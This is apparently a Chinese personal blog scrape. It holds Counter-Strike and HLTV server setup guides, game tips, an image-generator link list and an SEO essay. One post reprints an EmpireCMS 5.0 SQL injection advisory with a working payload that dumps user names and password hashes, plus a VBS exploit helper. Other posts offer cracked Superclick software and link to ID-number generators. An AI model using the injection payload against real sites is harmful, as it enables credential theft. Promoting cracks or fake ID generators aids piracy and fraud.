    cmdlist-列出所有设定的命令    logfile-开始/结束从hltv.log文件中读取的设定命令    status-打印所有活跃模式的信息    exec-运行.cfg文件    developer-在高级模式中显示添加的状态信息    fakeloss-模拟丢包,n=可能的丢包单元(默认0.    record-记录所有的游戏信息,使用文件名为filename1.dem到filename99.dem    playback-开始播放上一个录像(如果回路loop设定为1,则反复播放)    stop-停止录像文件的回放    按下回车键,程序将自动完成整个命令的输入.所有在hltv.cfg文件中设定好的命令语句将在游戏开始时自动运行.    下边这些变量只能在命令行中输入:    -maxframes-设定最大的缓存帧数(默认240    -cachesize-帧缓存规格(默认32帧)    -port-设定观战客户端与HLTV代理的连接端口(默认2702    -maxclients-设定可连接到HLTV代理的最大客户端数目(默认128)    -comm-设定不同于woncomm.lst文件的服务器信息文件     -multicastttl-设定多点传输包的Time-To-Live数值    -highpriority-设定HLTV代理为优先进程    -nomaster-HLTV代理不向WON服务器发送回馈信息    这些变量在运行过程中无法改变,因此他们不可以在设定文件中进行设定.    所有的设定命令都可以在命令行中设定,用""+""号可以同时使用几个命令,例如:    hltv.exe+connectlocalhost:27015-port27021+rate7000    Half-Life服务器可以设定sv_proxies,从而决定多少个代理允许连接.如果HLTV代理要被禁止,把这个变量设定为0.设定为1则准许主代理连接,其它数值仅供测试使用.    由于Half-Life新版本加入了语音功能,因而可以实现某个客户对游戏进行实时评述.而评述者必须与主代理连接,需要输入的命令如下:    commentator    这个密码与代理的RCON密码相同.评述者可以跟进行游戏一样进行评述,而所有其它的观战者都可以同步听到声音.如果观战者录下这个游戏的话,那么评述声音也会被记录在内.    linux下HLTV服务器建设方法(也适合WIN2000)    WIN2000下建设HLTV服务器的方法网上有很多文章都做了很详细的介绍。在此暂略LINUX下建设HLTV服务器和建设CS服务器的方法基本上都一样只是配置文件的和执行文件不一样而已:HLTV.CFG在LINUX下需要建启脚本。启动脚本的做法和LINUX下建CS服务器的脚本做法一样:
    #/bin/bash    ./hltv+connect192.168.0.1:27019-port27015-nomaster    以上是一个最简单HLTV脚本    HLTV的基本脚本如下:    hltv+connectlocalhost:port-port27020+rate4000-maxclients50    如果是局域网的话就是要加上    hltv+connectlocalhost:port-port27020+rate5000-maxclients50-nomaster""    现在详细的说明一下命令行:    connectip:port需要连接的服务器IP和端口号    ratex用户可用的最大带宽或者速率    -maxframes设置最小缓冲帧(默认是2400)    -portHLTV服务器的端口号    -maxclients可以连接到该服务器的最大人数(默认128)    -nomaster局域网用    现在说HLTV.CFG命令    connect连接指定端口的服务器    disconnect断开服务器连接    quit退出    exit和QUIT一样    retry重新连接服务器    autoretry在每N秒连接服务器
    name设置名字    password服务器密码    clients例表所有连接的用户ID    kick剔除    say向每个人说话    infotext设置游戏文本信息    rcon为另外的游戏设置远程控制    rcon_address设置远程控制目标    rcon_password设置远程控制密码    proxypasswordproxy的密码    clientpassword用户密码    rate每秒发送的字节大小    updaterate每秒的更新速率    maxclientrate设置每个用户的带宽大小    delay延迟时间(推荐为30S)    其他的可以参看README

影响光标灵敏度的因素

在cs中,的确是用数字来调灵敏度比较好。可是不只是那个数字影响你在cs中光标的速度的。    主要有5点影响:    1、桌面上的鼠标移动速度。选择不同是会对cs中的光标速度有影响,而且不同的系统也不一样,例如WIN98、2000、me    2、所用的鼠标。不同的鼠标会有不同的摩擦,灵敏度也不一样,机械鼠是这样,更不用说光电鼠了。不同的鼠有不同的灵敏度。    3、不同的鼠标驱动,装与不装不同,不同的驱动不同。有用加速或者没用加速也不同。    4、在不同的游戏分辨率下也有微妙变化。    5、鼠标的刷新率!    综合以上5个方面得出一个结论,cs光标移动速度的数字必须要根据以上的各方面因素得出,而单单只改动cs游戏里面的光标灵敏度一项在不同的电脑和鼠标上根本没任何意义。

用CS自带引擎观看demo

首先解压缩,会出来一个xx.dem的文件。改一个简单的名字,例如1.dem(如果你的系统设置为显示文件扩展名,就不要加dem)    然后把它放到counter-strikecstrke目录下(podbot文件夹所在目录)进入cs,启动console。输入playdemo1.dem回车就可以看了。

《反恐精英》优化指南

一、第一步骤    1.复制一个CS快捷方式    2.按右键-内容可以看到如下C:/SIERRA/Half-Life/hl.exe-console-gamecstrike    3.在后面加入下列参数可产生不同用途    -console-预设就有,有这个在game里才能做其它设定    -32bpp-用32bit色彩起动game,预设是16bit,用32bit可能使游戏变慢,但更好看    -numericping-用数字显示ping    -nojoy-不起动摇捍    -noipx-不用ipx,如果是intetnet游戏,不要起动此项    -heapsizeXXXXX-x为指定数字,可指定cs占用多少内存,最好用建议值    C:/SIERRA/Half-Life/hl.exe-console-gamecstrike(-32bpp)-numericping-nojoy(-noipx)    另外用完后进去会发现本来Ping是用点显示,现在加了数字,数字越小ping越低,速度越快。    二、第二步骤    在game中按~进人consolemode    cl_lcX和cs的新的网络技术有关,最好设x=1    cl_lwX有无武器的动画(比如上子弹等动作)最好设x=1    cl_lbX此项与血渍有关,预设是0,设1比较真实,但会减低速度     cl_updaterateXX上传速度,如果是宽带设30~40,如果在比较多人的站设25,modem用户设15比较好,预设20Lan=50    cl_cmdrateXX预设是30modem用户设30宽带设40~50Lan=50    fps_maxXXXx=1~100这是你的最大fps,好的显卡可设100,geforce256tntv3设60左右,比较不好的最好不要设超过60    rateXXXXX更新频率x=1~20000,设定如下:    56kModem/1ChannelISDN3600to5300    2ISDN5000to7000    CableModem5600to10000    xDSL,T1+7500to20000    LAN(10MBpsor100MBps)20000    cl_allowuploadX允许用户方上传自己的资料如logox=1是x=0否,modem最好设0    cl_allowdownloadX允许用户方自动下传sever的资料如mapx=1是x=0否,预设x=1    cl_download_ingameX允许用户方在game中自动下传sever的资料如logomapx=1是x=0否modem最好设0    net_graphx打开测fps与联机速的工具x=1开x=0关,开起此项多少会减少fps    net_graphposx工具的位置x=1,2,3    net_graphwidthx工具的大小预设x=192     max_shellsX最大跳出弹壳数    max_smokepuffsX最大爆炸量    如果你的显卡较好,可输入    a.GL_NEAREST_MIPMAP_LINEAR(Default)    b.GL_LINEAR_MIPMAP_LINEAR(HighQuality)    gl_ztrickX此项会减少z-buffer的准确率.预设是0,但如果你的卡较旧可设1    cl_himodelsX高解细度model,预设是0,如果cpu或显卡够也可设1    hud_fastswitchX当你用键盘换武器时会直接换而不是只是把光标换过去x=1开x=0关    hud_saytext_timeXX对友谈话在屏幕上停留的时间,预设x=6    hud_deathnotice_timeXX死亡通知对友谈话在屏幕上停留的时间,预设x=6    fastspritesX烟的复杂度预设x=0,设1时会更快,但比较难看2最快    Cheating-Death进入服务器拒绝的有效解决办法    当你启动了最新的Cheating-Death进入CS服务器时,如果出现以下语句的话    yoursystemhasbeenmodified,pleaseremoveyoursystemsmodifition,toplayinthisserver    那你进入CS后,只会马上被kick出。     很多人都建议重新安装干净的CS版本,但是一个最有效的办法,就是关闭你所有的防火墙(诺顿的防火墙就没事)再进入就一切正常,如果这样还不行的话,那就真的只有重新安装CS了。    还有就是如果你修改了游戏的声音,皮肤等,那有时服务器也会把你看成是作弊的踢出去~!所以上网玩CS还是要干净一点的脚本比较好

如何安装地图和皮肤

武器目录  .mdl放到x:/sierra/Counter-Strike/cstrike/models  .wav放到x:/sierra/Counter-Strikecstrike/soundweapon    准星目录  .spr放到x:/sierra/Counter-Strike/cstrike/sprite    人质目录  .mdl放到x:/sierra/Counter-Strike/cstrike/models    地图目录  .bsp放到x:/sierra/Counter-Strike/cstrike/maps  .txt放到x:/sierra/Counter-Strike/cstrike/maps  .wad放到x:/sierra/Counter-Strike/cstrike  .tga放到x:/sierra/Counter-Strike/cstrike/gfxenv    语音目录  .wav放到x:/sierra/Counter-Strike/soundadio    喷漆目录  .bmp放到x:/sierra/Counter-Strike/logos  .wad放到x:/sierra/Counter-Strike/cstrike

在cs中如何使用mic

  首先进入Counter-Strikevoice_tweak,音量最大    控制面版→多煤体→录音,把mic打钩,音量最大    控制面版→多煤体→回放,把mic静音去掉,音量最大    进入cs游戏,按着默认k(可以更改)说话。

服务器如何踢人

在踢人或者封人(防止访问的简便称呼)之前,我们首先要了解服务器是如何识别每一个玩家的——服务器给每个玩家分配了一个"userid"和一个"uniqueid"。"userid"由CS服务器在运行时自动产生,是一个自然数序列。而"uniqueid"则是依据用户的CDKey由Won分配的,通常是由10个数字组成。想要找到玩家对应的这些编号,请在控制台中输入:"users"    简单的踢人方法    很显然,最通常的踢人方法是是简单地在控制台中敲:    “kickXXX"然后噗地一下,他就没了。    但是很不幸的是,    1.这种方法有时候很慢(想想一个长长的名字)。    2.有些玩家会用一些CS不支持的字符来做名字。    在这个时候,你需要用到"kick"指令的一种新用法——使用用户的“编号”来踢人。具体做法是:    首先在控制台模式中敲"users"    然后你会得到一个列表。列表中含有每一个玩家的名字和相对应的编号(userid)。把那个“问题玩家”的号码记下。然后在控制台中输入:"kick#"。要特别注意:"kick"和"#"之间,"#"和"用户编号(userid)"之间都要有空格隔开。然后,“噗……”,那个恶棍就消失了。

服务器连接问题

提示YourCounter-Strikeexecutableisoutofdate.    Counter-Strikewillnowupdatetothecurrentversion    解释是你的CS版本和服务器版本不符合,请升级解决办法升级到和服务器相同版本(不过现在一般用不着,因为1.3以后如果客户端和服务器版本不同时,服务器为灰色不可连接状态。    提示lanseversarerest****tolocalclient(classc)    解释该IP为某本地局域网    解决办法无    提示couldn'topenvalve/jos.wad    解释找不到图片关联文件    解决办法重新安装或找个该文件,也可以彻底删除你本地的    这个地图文件,直接从服务器下载。    提示youcannotconnecttoaserverrunningcustom    gamecstrikeuntilyouInstallthecustomgame    解释你运行的不是CS(虽然界面是CS)    解决方法在主界面的CUSTOMGAME中选CS,设置为ACTIVAT;    如果还不行就只能重装了。    提示coundn'tcompeletconnetiontoserver    解释不能连接服务器     解决方法等服务器开了再去

控制台调出方法

发送一个cstrike.exe的快捷方式,然后右击它,选择属性,在目标路径后空一格加-console    本人推荐装一个podbot,用他自动生成的图标启动。    如果是在浩方上,在登陆了浩方平台后,进入设置,在游戏参数栏加-console

国际通用短语

这是个老外编的,还真是很有用,因为他们打《反恐精英》喜欢用一些简单符号或缩写字母来表意,我以前都猜不出来到底是些什么意思。在IRC,icq也有人用,是国外网虫专有的语言,其特点是数字代替字母,比如3代表E,7代表T,5代表S,9代表g,等等。还有一个单词里面大小写混用因此这个词典里面收录的都是这些奇怪的符号组合,在国内的玩家中好象也开始流行了。如果你在和别人打CS时或是看demo时遇到而不明就里,来看这个词典吧,我节选了一部分常见的。    :)-笑脸    =)-看起来更高兴的笑脸    (-悲伤的脸,也有的是:‘(    >-暴躁,气疯了    1337-leet,Elite精英,出色,有时用来嘲弄作弊者    AFK-Afreekill的缩写,可以随便杀的人,通常是指那些在游戏里面因为lag或者其他什么原因一动不动挨砍的人在IRC里指Awayfromkeyboard,暂时离开键盘。    BS-Bullshit应该很常用,被杀而且觉得自己死得莫名其妙就会出现    BTW-bytheway的缩写    CYA-seeya再会    FAQ-Frequentlyaskedquestion的缩写,常见问题    FFS-Forf**kingsake的缩写,心情沮丧的时候用
    GG-goodgame的缩写,通常是一局赢了的那一方头目有资格说    Grrr-冲别人低吼,通常没人理睬    Hax0r-hacker,就是cheater,作弊的人    LAME-可悲,乏味    LOL-laughingoutloud的缩写,大声笑

CS服务器建设简明手册

其实所有的服务器建设资料全部都已经在COUNTER_SERVER给出,但是有很多朋友是初学者,对于太过技术或者英文的东西看上去就头大,所以我今天就在这里手把手地跟大家一起来建设一个CS服务器。
  建立一个稳定的长期的服务器,首先你所需要的就是   1、硬件    对于只开一个游戏来说,服务器的硬件配置大概在PIII、内存在256M以上即可,最好能是一台专门的机器,你总不会想因为你一次误操作就让服务器出错吧?   2、连接线路   连接线路是越快越好,虽然CS在游戏中连续上传和下载的速度最大也才3K/s,但是如果PING高的话我想你的人玩起来也不会爽是不是。   3、耐心   维护一个服务器对你来说会是一个长期的过程,如果你决定开Friendly Fire对你来说更是一项考验。CS频繁的升级也让人无可奈何。所以,忍吧。
  如果你觉得你可以符合上述的所有条件,恭喜你!你现在可以开始这个漫长的旅程了。
  首先的是,你要安装HLserver,在Half Life里本身就带了建立服务器的软件,但是如果你不会在服务器上玩的话,用HLserver可以减少很多的空间。然后升级HL到最新的版本,再安装CS的最新版本(就跟装一个本机的游戏一样)。作为服务器,必须要有很多设置,普通情况下你只需要在HLserver\cstrike\目录下建立server.cfg、mapcycle.txt、motd.txt这三个基本文件即可。server.cfg是服务器的配置文件,mapcycle.txt是地图循环的顺序,motd.txt是服务器的说明。下面就以NeedGame.com的服务器的配置文件为例子做个大概说明:
  server.cfg   可用任何文本编辑器进行编辑。   0为No,1为Yes。   sv_aim 0                是否自动瞄准   pausable 0               是否客户端可暂停游戏   hostname CSchina.yeah.net CS'Server  服务器名字   mp_timelimit 30             更换地图时间   mp_c4timer 45              炸弹倒计时时间   mp_chasecam 0              是否固定镜头(如果选1,当人死了后就只能在固定的地点观看战局,为了防止死人告诉其他人战局设定)   mp_falldamage 1             高处落下杀伤   mp_flashlight 1             是否有战术手电   mp_footsteps 1             是否有脚步声   mp_freezetime 4             每局开始固定买物品时间   mp_friendly_grenade_damage 1      是否手雷友军伤害   mp_friendlyfire 1            是否友军伤害   mp_autoteambalance 2          自动调整双方人数差异最低限制   mp_roundtime 4             每回合最大时间数   rcon_password *****           服务器密码   mp_limitteams N             双方超过N人即自动调整   mp_tkpunish 1              是否伤害友军惩罚   mp_mapvoteratio 0.2           投票比率   mp_logfile 1              是否服务器留下记录文件   log on                 开始记录   mp_hostagepenalty=3           规定时间内伤害人质超过三人自动踢出   Logaddress gd1.cschina.net xxxxxx     设定在全国总排行榜的监听端口,IP改为自己的IP,端口请Email到上帝偏爱步兵取得。然后你的服务器上的所有成绩即自动取得全国服务器排行的认证。
  mapcycle.txt为地图文件名,不带后缀,如de_dust.bsp,只取de_dust。地图在Hlserver\cstrike\maps目录下,将你想循环的地图挑出来,然后将文件名按上面所说的规则输入mapcycle.txt中,每个地图之间用硬回车隔开。
  motd.txt为服务器说明文件,当每个玩家进入服务器后看到的第一个窗口就是。可以随意按照自己喜欢写。最好注明服务器的基本设置。
  有了上面这些一个服务器基本就算具备了,但是别急,可不是运行HL.exe来进游戏哦,用的是HLS.exe,而且要带上参数。下面再来说说服务器运行参数。还是以NeedGame.com服务器为例子来介绍下:
F:\Hserver\hlds.exe -game cstrike -port 27016 +maxplayers 22 +map cs_office
  -game cstrike              指定运行游戏为CS   -port 27016               指定游戏连接端口为27016   +maxplayers 22              游戏最大人数22人(游戏只支持20人,多余两人为观众)   +map cs_office             指定第一张地图为cs_office
  在居域网上建立服务器跟上面相同,不过可以在命令行里加上-nomaster让服务器不上WON认证,避免因为出国网络不通导致的服务器问题。同时加上+sv_lan 1 指定其为一个LAN server。其他人进服务器的时候进Internet game,选择Add server输入服务器的IP和上面你指定的端口即可。

2008年8月21日星期四

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Google 黑板报 -- Google 中国的博客网志: 谷歌地球上的奥运场馆(三)

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北京奥运期间GG的首页标题(08-22日的)






















(顺序颠倒了.)




2008年8月20日星期三

无题

直至今天一共做了20个站,总和几美圆.(还没收到过款)
19个bux.

2008年8月18日星期一

送破解版Superclick 1.62!!!!!

凡是做我的下线的人,一律赠送一套已注册的Superclick 1.62最新版本!!!

详细的请E-MAIL我 : makemyday@126.com

(做我下线暂时无反佣..)

2008年8月17日星期日

帝国CMS5.0“/e/member/list/index.php”文件注射漏洞

漏洞文件 /e/member/list/index.php文件:内容如下:if($sear){$keyboard=RepPostVar2($_GET['keyboard']);if($keyboard){$add.=$where.$user_username." like '%$keyboard%'";}$search.="&sear=1&keyboard=$keyboard";}
判断sear参数是否存在,然后直接去keyboard的参数,然后再判断keyboard值是否为空,如果不为空就直接把keyboard带入查询产生注射漏洞.<* 参考http://www.sebug.net/vulndb/3860/ http://www.nukeblog.cn*>测试方法:[www.sebug.net]以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!/e/member/list/index.php?sear=1&totalnum=1&keyboard=%D9'+union+select+1,1,1,concat(char(123),userid,char(95),username,char(95),password,char(125))+from+phome_enewsuser/*
VBS利用程序代码如下
DIM a,i,e,b,ie,cmd5i=InputBox ("输入目标地址 格式http://www.phome.net","帝国CMS 0DAY利用程序 BY Nuke")If i="" Thenmsgbox "请输入地址"WScript.QuitEnd Ifb=InputBox ("输入表名默认为phome_enewsuser","帝国CMS 0DAY利用程序 BY Nuke","phome_enewsuser")If b="" Thenmsgbox "请输入表名"WScript.QuitEnd Ife = "/e/member/list/index.php?sear=1&totalnum=1&keyboard=%D9'+union+select+1,1,1,concat(char(123),userid,char(95),username,char(95),password,char(125))+from+" & b & "/*"ie = i & eSet a=WScript.CreateObject("InternetExplorer.Application") a.visible=True a.navigate iemsgbox "32位的MD5祝你好运!"

blogspot.com窃取cookie漏洞,发布时间:2008-08-17.SBEUGID:SEBUGV2008083859




描述:blogspot.com站点为Google的博客.因对过滤不严,造成漏洞。支持html,然后可以在其中插入类似如下内容.获取cookie<* 参考http://www.winshell.cn/read.php?1028*>

在线生成图片的网址大收集

粉丝身份证:http://id.igogo8.com/


制作印章:http://www.makepic.com/print.php
http://www.topdig.net
邮址图片生成:http://www.makepic.com/email.php


条形码生成:http://www.makepic.com/barcode.php


Kiss学堂 颁发结业证:http://www.makepic.com/kiss/cert.php



生成头像:http://www.eoool.com/ImageDIY/DIYChooseImg.aspx?ImgSize=96x96x1


邮件:http://www.eoool.com/Sevice.aspx?TypeID=1


聊天图标:http://www.eoool.com/Sevice.aspx?TypeID=2


博客图标:http://www.eoool.com/Sevice.aspx?TypeID=3


网络书签:http://www.eoool.com/Sevice.aspx?TypeID=5
http://www.topdig.net
朋友圈:http://www.eoool.com/Sevice.aspx?TypeID=4


按扭:http://www.eoool.com/Sevice.aspx?TypeID=11


生成拼凑图:http://blog.outer-court.com/letters/


一个日本武士刀劈出你需要的字:
http://tools.fodey.com/generators/animated/ninjatext.asp


生成几种卡通人物对话动态图片:
http://tools.fodey.com/generators/animated/talking_squirrel.asp


香烟盒生成,可以做警告图片:http://tools.fodey.com/generators/cigarette_packet/generator.cig


支持多种域名的Email图标的生成: http://www.nhacks.com/email/
两个地址支持两种风格任意文本的Email图标的生成:
http://sagittarius.dip.jp/~toshi/cgi-bin/designmail/designmail.html
http://sagittarius.dip.jp/~toshi/cgi-bin/catmark/catmark.html
http://www.topdig.net
在线favicon生成器: http://www.html-kit.com/e/favicon.cgi


支持各种类型图片的生成,可以选择设置的条件非常灵活:
http://www.abi-station.com/tchinese/


支持大量中文字体签名图标生成: http://www.youmade.com/font/


Flickr杂志封面生成器: http://flagrantdisregard.com/flickr/magazine.php


动态生成有趣图片:
爱因斯坦
http://www.hetemeel.com/einsteinform.php
山姆大叔
http://www.hetemeel.com/unclesamform.php
辞典
http://www.hetemeel.com/dictionaryform.php
魔法师
http://www.imagegenerator.net/create/dumbledore/
http://www.topdig.net
Flickr Logo风格图片生成器: http://flickr.nosv.org/


按钮生成网站:
http://kalsey.com/tools/buttonmaker/
http://www.lucazappa.com/brilliantMaker/buttonImage.php
http://www.feedforall.com/public/rss-graphic-tool.htm
http://www.kalsey.com/tools/buttonmaker/
http://www.yugatech.com/make.php
http://www.hkwebs.net/catalog/tools/buttonmaker/index.php


Email图标生成网站:
http://email.playtime.uni.cc/
http://services.nexodyne.com/email/
http://gizmo967.mgs3.org/Gmail/
http://www.hkwebs.net/catalog/tools/gmail/
http://sagittarius.dip.jp/~toshi/cgi-bin/designmail/designmail.html
http://www.eoool.com/
http://www.topdig.net
Logo生成网站:
http://phorum.com.tw/Generator.aspx
http://www.logoyes.com/lc_leftframe.htm
http://cooltext.com/Default.aspx


Banner图片制作网站:
http://www.bannerbreak.com/index.php


在线图片生成网站:
http://www.streetsigngenerator.com/
http://www.letterjames.de/


图片分割器: http://www.html-kit.com/e/is.cgi


立体图片生成器: http://www.chami.com/html-kit/services/imge/
http://www.topdig.net
图片生成邮票: http://photo.stamps.com/PhotoStamps/?source=si00001331


个性拼图: http://www.jigcool.com/jigonline/jigonline1_sc.php


印章制作: http://caishu.sina.com.cn/


韩国身份证的生成以及验证:
http://www.udeng.com/images/hanguo.htm


GIF图片的文字LOGO在线生成:
http://www.3dtextmaker.com/cgi-bin/3dtext.pl


在线制作logo,bannar的网站:
http://www.crazystudy.com/
http://www.topdig.net
SAINT.Assess the Security of
Computer Networks
http://www.saintcorporation.com/saint/


Abacus.Intrusion Prevention System
http://www.psionic.com/abacus/


Firewall Generator(在线生成简单的防火墙脚本)
http://www.citadec.com/FirewallGenerator.html


身份证号码在线生成器
http://i972.net/~gen/


在线字体图片生成
http://www.youmade.com/font/
http://www.topdig.net
中外破解补丁和注册机在线求救
http://hmay.qq.topzj.com/


在线生成条码打印
http://www.027hc.com/y1.asp
http://www.nlscan.com/soucecentre/demo.asp
http://www.gzbonny.com/asp/barcode.asp
http://www.topdig.net
在线图形特效生成
http://www.chami.com/


聊天工具在线状态生成器

没有SEO才是真的SEO

大道无形,跳出SEO的迷思,没有SEO才是真的SEO
引子:老君曰:大道无形,生育天地。大道无情,运行日月。大道无名,长养万物。吾不知其名,强名曰道。夫道者,有清有浊,有动有静。天清地浊,天动地静。男清女浊,男动女静。降本流末,而生万物。清者浊之源,动者静之基。人能常清净,天地悉皆归。
开篇:先说两个自己亲身经历的事情:
A.经常和一些企业老总闲聊,老总们也是勤于学习的,在网上看了些SEO的介绍,自然排名上位,便心有戚戚焉,碰上我这骨灰级的自然要讨教一些经验。一般的企业站无非几个产品,企业新闻也就那么几条,老板们还喜欢赶个时髦,非得首页弄个大大的FLASH,半天Loading不下来。内容更新又少,专职人员少。这样的站说实话自然顺位排到SE的前列是非常罕见的。所以我的回答常常是兜头一盆冷水,劝那些老总如其花钱找所谓的SEO高手,不如老老实实花钱做SE的关键字推广。除了所谓SEO高手费用不菲之外,另外即使做上去也无法一劳永逸。方法违规甚至被惩处,升天不成反堕地狱。何况类似“加盟”这样的关键字想用SEO高手津津乐道的方法是永远做不上“百度”搜索结果首页的,为什么呢?因为它第一页左,右手全是花钱的关键字推广。
所以对企业来说最好的SEO就是向SE购买位置。没有比这个更保险,更稳当了。企业站点推广最需要的人才不是所谓的SEO高手,而是善于挑选恰当的关键字,合理使用推广费用的人才。
B.SEO是个社会系统工程而不是所谓几招独门秘籍
曾有一家因关键字堆砌作弊被百度封锁3年之久,ALEXA排名万名以内的行业门户站点找到我探询解封之道,当初被封他们也很快改正了,但是没有被原谅。时间过去不算短,技术人员也换了好几茬,网上传说的解封之道也是屡试屡败。和其负责人聊起的时候也只有无奈和心疼。
我提出了自己的看法并付诸行动,方法超级简单而且不花钱,在没有方法的情况下权且死马当做活马医的心态,因为方法即使失败结果也不可能更坏。
一共走了3步:
1.踢场子
百度每年都会在本市配合代理商于星级酒店拉些企业负责人来参加营销会议。当然我们也收到了百度代理商的邀请函,会场上百度的营销专员慷慨激昂,底下听众也多半跃跃欲试签单,开放提问阶段居然都是批评百度的,其潜在顾客听了另一种声音血也开始冷了。营销专员脸面挂不住了,会后又要私下沟通一下,当然他根本没权利解封,但是肯定会汇报。
2.送流量
把以前部分频道上挂的ADSENSE广告通通取消掉。注册百度联盟,挂上百度的搜索条,随便几万个IP的流量,却带不来几毛钱,实在是寒,当然并不是为了赚钱,只是表示一种臣服的姿态,拱手孝敬一些流量。同时也证明现在的站点不靠百度流量也不小。
3.请求函
EMS一份请求解封函件,详细描述了被封的来龙去脉,同时恳求解封。同时附上了网站所取得的文化部,信产部,通管局等七七八八的证件复印件。申诉本来是有专门邮箱的,但是我选择快件,信件相对EMAIL更加郑重。
结果是封了3年之久的站点,一周后开始重新收录,在3个月内已经达到正常收录水平,部分关键字达到理想水平。你能说这不是SEO吗?
当然此次成功的方法,也未必保证能够COPY。因为我们局外人还是始终无法探知其内部处理的具体流程和准则。从技术派来说这些方式一点技术含量没有最被瞧不起。但是如果你把SE想象成一个活生生的人就很容易理解了。
中篇:SEO牵涉的利益关系:
SE,普通SE用户,SEOer,利用SEO推广者
普通SE用户:快速,简便得到最想寻找的信息。
SE: 快速返回最准确的检索结果,不断改善用户的易用便捷性。
SEOer:改善具体某一个网站排名、流量、面向SE的友好性等等
利用SEO推广者:在最小金钱代价下换取更多流量与潜在商机。
SE与SEOer争夺的核心利益:SE搜索质量用户体验,部分利用SEO推广者付费用户
以利益为导向来考虑,有时候很多事情就不难理解了。
用一种很通俗的思维来考虑,SE是人写的,无论自然顺位排名有多少个条件和权重,但是规则也是从正常人的心理状态来考虑,SEOer通过观察和实践不断的猜测,验证,判断这些规则并加以利用之,SE的规则不断的在变动,客观上造成SEOer只能是后发制SE,但是当这些方法泛滥成灾必然带来SE的修正,就象web2.0初兴,SE们给BLOG的权重都很高。SEOer们一哄而上拼命Trackback,发垃圾评论,甚至费尽心思开发出群发工具。结果呢?导致nofollow标签的大量应用与SE中权重不断的丧失。从这个层面来说SEOer永远在“利用SEO推广者”付费的盘子里分不到多少羹,而把自己变成了SE的“磨刀石”。
为了SEO而SEO的站点,会陷入SEO的迷思,将会本末倒置,抛开SEO来看站点,网站是一种信息的载体,工具,协助用户实现需求和价值。应该绝大部分精力想的是怎么更好满足客户,超越竞争者。从内容形式上来说高质量的原创内容与高频率的更新比什么SEO都有用。也许Meta、Robots 、"H1、B、颜色、URL、PR、"外链之类的东西可能在某段时间内很有效果,但是却无法永续。而没有或无精力去把握本源,指望密籍、高招、高人,可能会得逞一时,但不会长久,甚至是灭顶之灾,因为这种本质上是在破坏SE的用户体验。而这一点恰恰是SE的命根子。《史记?五帝本纪》云:“父义,母慈,兄友,弟恭,子孝,内平外成。”同理SEO的王者之道:内平外成!
下篇:SEO是一种心态
SEO真的是仅仅面向搜索引擎的优化?那搜索又是为谁呢?一个真正的SEO行为如其说针对搜索不如说针对用户。仅仅考虑SE喜好而为必然剑走偏锋花了很多精力在用户看不到的地方,陷入迷信密籍与技巧。
SEO是一种习惯
无数的文章大谈TITLE,META,ROBOTS,ALT,SITEMAP等等技巧。其实这是技术的基本编码习惯,很遗憾的是现实生活中技术绝大多数不懂这些,也没想到研究这些,上班干活,老板交待的功能实现了拉倒,其它的不干我事。所以常常指导干这些的都是技术半桶水。当然这些也算是SEO涵盖的范畴,但是重要吗?大家都这么干就并不是非常重要,就象大家都是W3C标准,对于SE来说这一点几乎可以忽略不计了。辩证的来看有比没有强,这种类型的所谓SEO说白了应该是技术人员融入到自己的编码习惯中去,而不应该还让这些技术半桶水来指点。
SEO是一种动态实践而没有一成不变的密籍
SEO需要花费时间去试验,观察搜索的变化,需要不断的研究日志及统计数据,了解SE对该站的动态。一个人弄个几十个站,每天观察搜索的变化,不断试验,不出半年我保证你是个周围人心目中的SEO高手,对于SE及SEO能头头是道。
网络上SEO介绍文章汗牛充栋,其实基本上是好的不灵,坏的灵。道理很简单即使真的是一个很有用的方法,最多代表在那篇文章发表那一刻及之前有效果。等到你看到,可想而知很多人会看到包括制订搜索规则的人。自然这种方法会失去效力。
SEO是一种低调的事业
高调唱SEO的下场都是网站被搜索封光光,沦落到卖所谓的密籍和技术,且不论那些密籍技术是否真的有效果。仅仅是高调就犯了大忌。SE都被NASQA高赢利预期压的喘不过气来,你倒好还这么嚣张的和我抢客户,大家都找你SEO了,我关键字,竞价卖谁去?结局只能是被灭掉。你技术牛是不,我规则制不住你,没关系,我人工把你站弄到10页以后去。你能咋地?当然另一种高调吆喝传授日进斗金SEO技术的几近乎骗,就不在这讨论了,因为如果真的这么好赚,他为什么不自己赚,还要肥了你。
SEO需要尊重SE
尊重SE需要体现在各各方面,SE可能会出现这样或者那样的问题。平常心对待不要恶语中伤。毕竟SEO是需要靠着SE混饭吃,皮之不存毛将焉附?这方面我有过很大教训,某年某月某日是中国现代历史上一件至今还很忌讳的事件的**周年纪念日,某SE积极配合在搜索中把**这个数字给屏蔽了。导致的结果是把域名里含有**的一个著名网站给屏蔽了。我当晚发现在网络上逞能第一个发布了该信息,当初的本意无非有噱头弄点流量,没想其他的。该信息被很多业内BLOG转载,第二天被该SE惩罚,封域名一年。到这一步了再好的SEO又有什么用呢?说倒底SE如人,中国人做的SE,其必然具有中国人的性格,优,缺点,国民劣根性。搜索如人,人如搜索。心中没有SEO才是真的SEO

本文为完全原创,独家授权发表于“畅言SEO”征文大赛,转载请遵循CC署名非商业(作者:of...@yahoo.cn)其中观点代表一家之言,怡笑大方。诚心欢迎诸前辈,朋友们多多指教。

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2008年8月16日星期六

网赚日志..

从今天开始全面停做国内项目...

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